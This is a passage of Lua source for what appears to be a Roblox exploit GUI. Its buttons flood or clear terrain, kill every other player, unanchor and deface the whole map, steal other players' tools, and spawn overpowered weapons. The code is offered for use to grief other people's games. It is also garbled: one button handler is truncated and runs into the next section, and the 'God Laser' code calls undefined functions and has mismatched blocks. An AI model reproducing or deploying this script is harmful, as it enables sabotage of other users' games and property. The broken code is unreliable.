id="..frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text
emit.VelocitySpread = 100000
end
end)
-- Server Destruction --
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Flood"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Flood"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-
100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Clear Terrain"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Clear Terrain"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
game.Workspace.Terrain:Clear()
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Apoc Troll"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Apoc Troll"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
ds = CFrame.new(game.Players.LocalPlayer.Character.Head.Position)
wait()
for i,v in pairs(game.Players:GetChildren()) do
if v.Name == game.Players.LocalPlayer.Name then
else
v.Character.Torso.CFrame = ds *
CFrame.new(math.random(0,50),0,math.random(0,50))
v.Character:BreakJoints()
end
end
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Set Skybox"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Set Skybox"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID =
game.Players.LocalPlayer.PlayerGui.culgui.Frame.Settings.Page1["Skybox/Decal
ID"].TextBox.Text
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Unanchor All"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Unanchor All"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
v.Anchored = false
v.Locked = false
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Decal Spam"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Decal Spam"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
decalID = frame.Settings.Page1["Skybox/Decal ID"].TextBox.Text
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?
id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
end)
--
local button = Instance.new("TextButton")
button.Parent = sd
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Force Teleport"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Force Teleport"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
-- Gear/Tools --
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Custom Gear"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Custom Gear"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
local x =
game:GetService("InsertService"):LoadAsset(frame.Settings.Page1["Custom Gear
ID"].TextBox.Text)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Stamper Tools"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "666 (Stamper is removed)"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='666 666 666 666 666 666';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1,0,0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Really red';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1,0,0);
a.Range=15;
a.Brightness=5;
f=Instance.new('Fire',v);
f.Size=19;
f.Heat=22;
end;
game.Lighting.TimeOfDay=0;
game.Lighting.Brightness=0;
game.Lighting.ShadowColor=Color3.new(0,0,0);
game.Lighting.Ambient=Color3.new(1,0,0);
game.Lighting.FogEnd=200;
game.Lighting.FogColor=Color3.new(0,0,0);
local dec = 'rbxassetid://19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Tool Stealer"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Tool Stealer"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local z = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
z.Name = "Tool Stealer"
function onButton1Down(mouse)
local hit = mouse.Target
if (hit == nil) then return end
for i,v in pairs(hit.Parent:GetChildren()) do
if v:IsA("Tool") or v:IsA("HopperBin") then
v.Parent = game.Players.LocalPlayer.Backpack
end
end
end
function onSelected(mouse)
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end
z.Selected:connect(onSelected)
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Minigun"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Dev Uzi"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
wait(0.001);
-----------------------------------------------------------------------------
---------
_clear=function()
local c={char;bag;gui;};
for i=1,#c do
local c=c[i]:children();
for i=1,#c do
if(c[i].Name==name)then
c[i].Parent=nil;
end;
end;
end;
local n=name..user.Name;
local c=workspace:children();
for i=1,#c do
if(c[i].Name==n)then
c[i].Parent=nil;
end;
end;
end;
_valid_key=function(object,key)
return object[key],key;
end;
_new=function(class)
return function(props)
if(type(list_base_props)=='table')then
for i,v in next,list_base_props do
if(props[i]==nil)then
props[i]=v;
end;
end;
end;
local object=class;
if(type(class)=='string')then
object=Instance.new(class:sub(1,1):upper()..class:sub(2));
end;
local parent=props[1];
props[1]=nil;
for i,v in next,props do
local
load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
if(not load)then
load,res,key=pcall(_valid_key,object,i);
end;
if(key)then
t=type(res);
s=tostring(res);
if(t=='userdata'and s=='Signal '..key)then
if(type(v)=='table')then
for i=1,#v do
res:connect(v[i]);
end;
else
res:connect(v);
end;
else
object[key]=v;
end;
end;
end;
if(parent)then
object.Parent=parent;
end;
return object;
end;
end;
_RGB=function(r,g,b)
return Color3.new(r/255,g/255,b/255);
end;
_copy=function(o)
local def=o.archivable;
o.archivable=true;
local c=o:clone();
o.archivable=def;
return c;
end;
_hum=function(char)
local hum=char:findFirstChild'Humanoid';
if(not hum or hum.className~='Humanoid')then
local c=char:children();
for i=1,#c do
if(c[i].className=='Humanoid')then
return c[i];
end;
end;
else
return hum;
end;
end;
_hum_tag=function(hum)
local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
c.Name='creator';
c.Value=user;
if(hum.Health==0 and not hum:findFirstChild'killed')then
Instance.new('BoolValue',hum).Name='killed';
bullets.clip=bullets.clip+10;
end;
end;
_hum_dam=function(hum,dam,percent)
hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
if(hum.Health<=hum.MaxHealth*0.1)then
_hum_tag(hum);
end;
end;
_ray=function(v0,v1,i)
local mag=(v0-v1).magnitude;
local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or
workspace.FindPartOnRay)(workspace,ray,i);
end;
_must=function(v0,v1,i)
local hit,pos=_ray(v0,v1,i);
return not hit and mouse.target or hit,pos;
end;
_cframe=function(x,y,z,r0,r1,r2)
return CFrame.Angles(
math.rad(r0 or 0),
math.rad(r1 or 0),
math.rad(r2 or 0)
)*CFrame.new(x,y,z);
end;
_update=function()
if(bool_active and not screen.Parent)then
screen.Parent=gui;
elseif(not bool_active and screen.Parent)then
screen.Parent=nil;
end;
end;
_light=function(v0,v1)
local mag=(v0-v1).magnitude;
local len=math.random(2,7);
len=len>mag/2 and mag/2 or len;
local light=_new'part'{
cFrame=CFrame.new(v0,v1);
size=Vector3.new(1,1,1);
color=_RGB(255,255,0);
anchored=true;
inv;
};
_new'blockMesh'{
scale=Vector3.new(0.2,0.2,len);
offset=Vector3.new(0,0,-len/2);
light;
};
local bb=_new'billboardGui'{
size=UDim2.new(2,0,2,0);
adornee=light;
light;
};
_new'imageLabel'{
image=url:format(109101526);
backgroundTransparency=1;
size=UDim2.new(1,0,1,0);
bb;
};
_rem(light,0.15);
end;
_rem=function(object,del)
if(del)then
delay(del,function()
if(object.Parent)then
object.Parent=nil;
end;
end);
else
pcall(function()
if(object.Parent)then
object.Parent=nil;
end;
end);
end;
end;
_blood=function(pos,count)
for i=1,count do
local p=_new'part'{
rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
position=pos+Vector3.new(math.random(),math.random(),math.random());
velocity=Vector3.new(math.random(),math.random(),math.random())*50;
size=Vector3.new(math.random(),math.random(),math.random())/3;
color=_RGB(255,0,0);
transparency=0.5;
canCollide=true;
bottomSurface=0;
topSurface=0;
formFactor=3;
locked=true;
inv;
};
delay(5,function()
p.Parent=nil;
end);
end;
end;
_make_hue=function()
h_hue=_new'part'{
size=Vector3.new(0.25,1.8,0.35);
color=_RGB(100,100,100);
formFactor=3;
name='hue';
handle;
};
hh_weld=_new'weld'{
c1=_cframe(0,0.5,0);
part0=handle;
part1=h_hue;
handle;
};
end;
_shot=function(v0,v1)
if(not time_left)then
time_left=0;
end;
if(time_left>time())then
return nil;
else
time_left=time()+math.random(1,10)/100;
end;
if(bullets.current<1)then
local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
soundId='rbxasset://sounds/SWITCH3.wav';
name='tick_sound';
volume=0.2;
pitch=2;
head;
};
tick_sound:play();
if(bullets.clip>0)then
time_left=time()+2;
h_hue:breakJoints();
h_hue.CanCollide=true;
h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
_rem(h_hue,10);
delay(1.9,function()
_make_hue();
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
end);
end;
return nil;
else
bullets.current=bullets.current-1;
h_weld.C1=_cframe(0,0.75,0,
-math.random(1000,1100)/10,180,0);
d_weld.C1=_cframe(0,-0.25,0.3);
lightstuff.Visible=true;
delay(0.1,function()
lightstuff.Visible=false;
end);
_rem(_new'part'{
velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-
4,-5,0)).p).lookVector*10;
cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
size=Vector3.new(0.1,0.1,0.4);
color=_RGB(200,200,0);
material='Slate';
canCollide=true;
formFactor=3;
inv;
},5);
delay(0.1,function()
d_weld.C1=_cframe(0,-0.25,0);
if(bool_active)then
h_weld.C1=h_weld_cf_active;
end;
end)
end;
local hit,pos=_must(v0,v1,char);
shot_sound:play();
_light(v0,v1);
if(hit.Parent.className=='Hat')then
hit:breakJoints();
hit.CanCollide=true;
hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
else
local hum=_hum(hit.Parent);
if(not hum)then
if(hit.Anchored==false and hit.Size.magnitude<4)then
hit:breakJoints();
hit.CanCollide=true;
end;
else
_hum_dam(hum,math.random(4,6));
_blood(pos,math.random(3,6));
hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/
6;
if(hit.Name=='Head')then
hum.Health=0;
_blood(pos,math.random(3,6));
delay(0.001,function()
_new(workspace:FindFirstChild'head_shot'or'sound'){
pitch=math.random(70,100)*0.01;
soundId=url:format(1876552);
name='head_shot';
workspace;
}:play();
end);
_hum_tag(hum);
_rem(_new'part'{
cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-
pos).magnitude*0.5);
size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
color=torso.Color;
transparency=0.5;
canCollide=false;
bottomSurface=0;
anchored=true;
formFactor=3;
topSurface=0;
inv;
},30);
hit.Parent=nil;
for b=0,1 do
for a=0,1 do
for i=0,1 do
_rem(_new'part'{
velocity=CFrame.new(v0,pos).lookVector*20;
cFrame=hit.CFrame*CFrame.new(i,-b,a);
size=Vector3.new(0.5,0.5,0.5);
color=_RGB(255,255,255);
bottomSurface=0;
canCollide=true;
transparency=0;
formFactor=3;
topSurface=0;
hum;
},30);
end;
end;
end;
end;
end;
end;
end;
-----------------------------------------------------------------------------
-----------
_cf_select=function(mouse)
mouse.Icon=url:format(109111387);--108999296
bool_active=true;
weld.Part1=nil;
weld.Part0=nil;
weld=_new(torso:findFirstChild'right_arml'or'weld'){
name='right_arml';
part0=torso;
part1=arm;
torso;
};
arml=(arml or 0)+1;
local alv=arml;
local gyro=torso:findFirstChild'p_gyro'or
Instance.new('BodyGyro',torso);
gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
gyro.P=30000;
gyro.D=1000;
gyro.Name='p_gyro';
repeat
local pos=mouse.hit.p;
local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
val=-math.pi*0.5;
valp=val*-1;
p0=torso.CFrame;
p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+
(p0*CFrame.Angles(0,val,0)).lookVector;
p1=p0+((p0.p-pos).unit*-2);
p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
hitpos=torso.Position;
cj=CFrame.new(hitpos);
c0=torso.CFrame:inverse()*cj;
c1=p2:inverse()*cj;
weld.C0=c0;
weld.C1=c1;
gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
wait(0.001);
until arml~=alv;
gyro.Parent=nil;
end;
end;
_cf_deselect=function()
bool_active=false;
arml=(arml or 0)+1;
loop_shot=(loop_shot or 0)+1;
h_weld.Part0=torso;
h_weld.C1=h_weld_cf_inactive;
local weld=torso:findFirstChild'right_arml';
if(weld)then
weld.Part1=nil;
weld.Part0=nil;
end;
local arm=char:findFirstChild'Right Arm';
local weld=torso:findFirstChild'Right Shoulder';
if(arm and weld)then
weld.Part0=torso;
weld.Part1=arm;
end;
end;
_cf_mouse=function(event,fun)
mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
if(bool_active)then
fun(...);
end;
end);
end;
-----------------------------------------------------------------------------
-----------
do
local main=getfenv(0);
local c=game:children();
local check=function(v)
if(v.className~=''and v.className~='Instance'and
game:service(v.className))then
main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
end;
end;
for i=1,#c do
pcall(check,c[i]);
end;
end;
-----------------------------------------------------------------------------
-----------
bullets={
maximum=51111111111111111111111111110;
current=511111111111111111111111111111110;
clip=501111111111111111111111111111111*4;
};
list_base_props={
backgroundColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
borderSizePixel=0;
color=_RGB(0,0,0);
archivable=false;
canCollide=false;
bottomSurface=0;
topSurface=0;
formFactor=0;
locked=true;
};
-----------------------------------------------------------------------------
-----------
user=players.localPlayer;
mouse=user:getMouse();
char=user.Character;
gui=user.PlayerGui;
bag=user.Backpack;
torso=char.Torso;
head=char.Head;
hum=_hum(char);
url='rbxassetid://%d';
name='dev-uzi';
h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
0,90,-70);
h_weld_cf_active=_cframe(0,0.75,0,
-110,180,0);
-----------------------------------------------------------------------------
-----------
_clear();
-----------------------------------------------------------------------------
-----------
_cf_mouse('button1Down',function()
loop_shot=(loop_shot or 0)+1;
local vers=loop_shot;
local step=runService.Stepped;
repeat
_shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
step:wait();--wait(0.001);
until vers~=loop_shot;
end);
_cf_mouse('button1Up',function()
loop_shot=(loop_shot or 0)+1;
end);
_cf_mouse('move',function()
cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
end);
_cf_mouse('keyDown',function(k)
if(k=='r')then
if(bullets.clip>0 and time_left<=time())then
local got=(bullets.clip>bullets.maximum and
bullets.maximum or
bullets.clip)-bullets.current;
bullets.clip=bullets.clip-got;
bullets.current=bullets.current+got;
if(got~=0)then
time_left=time()+2;
end;
end;
end;
end);
-----------------------------------------------------------------------------
-----------
screen=_new'screenGui'{
name=name;
};
cross_f=_new'frame'{
size=UDim2.new(0,21,0,21);
backgroundTransparency=1;
screen;
};
for i=0,1 do
_new'frame'{
position=UDim2.new(0,13*i,0,11);
size=UDim2.new(0,10,0,1);
cross_f;
};
end;
for i=0,1 do
_new'frame'{
position=UDim2.new(0,11,0,13*i);
size=UDim2.new(0,1,0,10);
cross_f;
};
end;
-----------------------------------------------------------------------------
-----------
shot_sound=_new(head:findFirstChild'2920959'or'sound'){
soundId=url:format(2920959);
pitch=1.4;
head;
};
if(shot_sound.Name~='2920959')then
shot_sound.Name='2920959';
shot_sound:play();
end;
bin=_new'hopperBin'{
deselected=_cf_deselect;
selected=_cf_select;
name=name;
bag;
};
inv=_new'model'{
name=name;
char;
};
handle=_new'part'{
size=Vector3.new(0.3,1.3,0.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
inv;
touched=function(hit)
if(hit.Parent.className=='Model')then
local hum=_hum(hit.Parent);
if(hum~=nil)then
_hum_dam(hum,handle.Velocity.magnitude);
end;
end;
end;
};
h_weld=_new'weld'{
c1=h_weld_cf_inactive;
part1=handle;
part0=torso;
handle;
};
_make_hue();
h_part=_new'part'{
size=Vector3.new(0.4,0.4,1.4);
color=_RGB(140,140,140);
name='handle';
formFactor=3;
handle;
};
hp_weld=_new'weld'{
c1=_cframe(0,-1.3/2,-0.3,
20,0,0);
part0=handle;
part1=h_part;
handle;
};
drag=_new'part'{
size=Vector3.new(0.5,0.45,1.5);
color=_RGB(100,100,100);
name='handle';
formFactor=3;
handle;
};
d_weld=_new'weld'{
c1=_cframe(0,-0.25,0);
part0=h_part;
part1=drag;
handle;
};
tube=_new'part'{
size=Vector3.new(0.2,0.2,1.5);
color=_RGB(0,0,0);
name='handle';
formFactor=3;
handle;
};
t_weld=_new'weld'{
c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};
bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};
lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};
coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);
bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();
-----------------------------------------------------------------------------
-----------
_G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
local vers=_G.dev_pistol_version;
repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or
hum.Health==0;
if(hum.Health==0)then
_clear();
end;
script.Disabled=true;
--
mediafire--------------------------------------------------------------------------
---
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "God Laser"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "God Laser"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
me = game.Players.LocalPlayer
sel = false
mousehold = false
mode = 1
speed = 1
part.Parent = parent
part.formFactor = form
part.CanCollide = collide
part.Transparency = tran
part.Reflectance = ref
part.Size = Vector3.new(x,y,z)
part.BrickColor = BrickColor.new(color)
part.TopSurface = 0
part.BottomSurface = 0
part.Anchored = anchor
part.Locked = true
part:BreakJoints()
end
h = Instance.new("HopperBin",me.Backpack)
h.Name = "Watch"
script.Parent = h
end
bin = script.Parent
cam = workspace.CurrentCamera
function sel(mouse)
sel = true
mouse.Button1Down:connect(function()
mousehold = true
if mode == 1 then
me.Character = nil
cam.CameraSubject = nil
cam.CameraType = "Fixed"
mode = 0
else
prop(pew,workspace,false,0.1,0,0.1,1,0.1,"Bright
yellow",true,"Custom")
pew.CFrame = CFrame.new(cam.CoordinateFrame *
CFrame.new(math.random(-100,100)/10,math.random(-100,100)/10,math.random(0,100)/
10).p,mouse.Hit.p) * CFrame.Angles(math.pi/2,0,0) * CFrame.new(0,-dis/2,0)
mes.Scale = Vector3.new(15,dis,15)
local ex = Instance.new("Explosion",workspace)
ex.BlastRadius = 6
ex.BlastPressure = 450000
ex.Hit:connect(function(p)
p.BrickColor = BrickColor.new("Black")
p.Transparency = 0.3
p.Anchored = false
p:BreakJoints()
end
end)
coroutine.resume(coroutine.create(function()
for i=0.1,1,0.2 do
wait()
pew.Transparency = i
end
pew:remove()
end))
wait()
end
end
end)
mouse.Button1Up:connect(function()
mousehold = false
end)
end
function desel()
mousehold = false
sel = false
end
bin.Deselected:connect(desel)
bin.Selected:connect(sel)
end)
--
local button = Instance.new("TextButton")
button.Parent = gt
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Draw Tool"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Draw Tool"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
for i,v in next,game:children()do
pcall(function()
local c=v.className;
rawset(getfenv(0),c:sub(1,1):lower()..c:sub(2),game:service(c));
end);
end;
local user=Players.LocalPlayer;
uname=user.Name;
local guis=user.PlayerGui;
local pack=user.Backpack;
keyDowns={};
freeKeys={};
shortcuts={};
_G.mine=_G.mine or{};
name='Draw3D';
local url='http://www.roblox.com/asset/?id=%d';
iconNormal=url:format(96578285);
iconOnDown=url:format(96584484);
ver=0;
drawPixel=0.10;
_G.drawLimit=_G.drawLimit or 1000;
_G.drawColor=_G.drawColor or Color3.new();
destroy=game.remove;
find=game.findFirstChild;
new=Instance.new;
with=function(c)
return function(p)
local o=type(c)=='string'and new(c)or c;
local x=p.Parent;p.Parent=nil;
for i,v in next,p do
o[i]=v;
end;
if(x)then
o.Parent=x;
end;
return o;
end;
end;
getPlace=function()
if(find(workspace,'draw')==nil)then
new('Model',workspace).Name='draw';
end;
if(find(workspace.draw,uname)==nil)then
new('Model',workspace.draw).Name=uname;
end;
return workspace.draw[uname];
end;
drawLine=function(start,target)
local gui=with'BlockMesh'{
Parent=with'Part'{
CFrame=CFrame.new(start,target)*CFrame.new(0,0,-(start-
target).magnitude/2);
Size=Vector3.new(drawPixel,drawPixel,(start-
target).magnitude+.325*drawPixel);
Parent=getPlace();
Color=_G.drawColor;
BottomSurface=0;
Anchored=true;
TopSurface=0;
formFactor=3;
Name=name;
}}.Parent;
table.insert(_G.mine,gui);
return gui;
end;
onDown=function()
if(drawing)then
return nil;
end;
if(selectGui.Adornee)then
destroy(selectGui.Adornee);
end;
drawing=true;
mouse.Icon=iconOnDown;
ver=ver+1;
local cVer,start,target=ver,mouse.hit.p;
local group={};
repeat
wait(0.02);
target=mouse.hit.p;
table.insert(group,drawLine(start,target));
start=target;
end;
until ver~=cVer;
drawing=false;
local groupM=new('Model',getPlace());
for i,v in next,group do
if(v:IsDescendantOf(workspace))then
v.Parent=groupM;
end;
end;
if(next(groupM:children())==nil)then
destroy(groupM);
end;
end;
onUp=function()
mouse.Icon=iconNormal;
ver=ver+1;
end;
onKeyDown=function(k)
if(freeKeys[k]==false)then
return false;
end;
freeKeys[k]=false;
wait(0.01);
if(keyDowns[k])then
keyDowns[k]();
elseif(shortcuts[k])then
shortcuts[k]();
end;
end;
onKeyUp=function(k)
freeKeys[k]=true;
end;
onMove=function()
end;
local onSelect=function(lmouse)
frame.Visible=true;
mouse=lmouse;
mouse.Icon=iconNormal;
